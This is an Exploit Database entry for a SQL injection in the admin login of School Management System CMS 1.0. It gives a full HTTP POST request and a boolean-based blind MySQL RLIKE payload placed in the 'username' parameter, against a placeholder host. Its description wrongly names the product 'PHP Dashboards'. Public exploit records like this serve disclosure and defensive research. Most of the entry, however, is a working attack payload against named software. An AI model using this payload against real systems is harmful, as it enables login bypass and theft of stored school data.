



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# School Management System CMS 1.0 - 'username' SQL Injection

**EDB-ID:**

44727

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[AKKUS](#)

**Type:**

[WEBAPPS](#)

**Exploit:**  

**Platform:**

[PHP](#)

**Date:**

2018-05-23

**Vulnerable App:**





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: School Management System CMS 1.0 - Admin Login SQL Injection
```

```
# Dork: N/A
```

```
# Date: 23.05.2018
```

```
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
```

```
# Vendor : Wecodex Solutions
```

```
# Vendor Homepage: https://www.wecodex.com/item/view/school-management-system-in-php-and-mysql/5
```

```
# Version: 1.0
```

```
# Category: Webapps
```

```
# Tested on: Kali linux
```

```
# Description : PHP Dashboards is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
```

```
=====
```

```
# PoC : SQLi :
```

```
https://test.com/school/maestro/index.php?view=processlogin
```

```
POST /school/maestro/index.php?view=processlogin HTTP/1.1
```

```
Host: test.com
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
```

```
Firefox/45.0
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: en-US,en;q=0.5
```

```
Accept-Encoding: gzip, deflate
```

```
Referer: https://test.com/school/maestro/
```

```
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
```

```
Connection: keep-alive
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Content-Length: 30
```

```
username=admin&password=123456
```

```
Vulnerable Payload :
```

```
Parameter: username (POST)
```

```
Type: boolean-based blind
```

```
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
```

```
Payload: username=admin") RLIKE (SELECT (CASE WHEN (5737=5737) THEN 0x61646d696e ELSE 0x28 END)) AND ("YAQS"="YAQS&password=123456
```

Tags:

Advisory/Source: [Link](#)



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.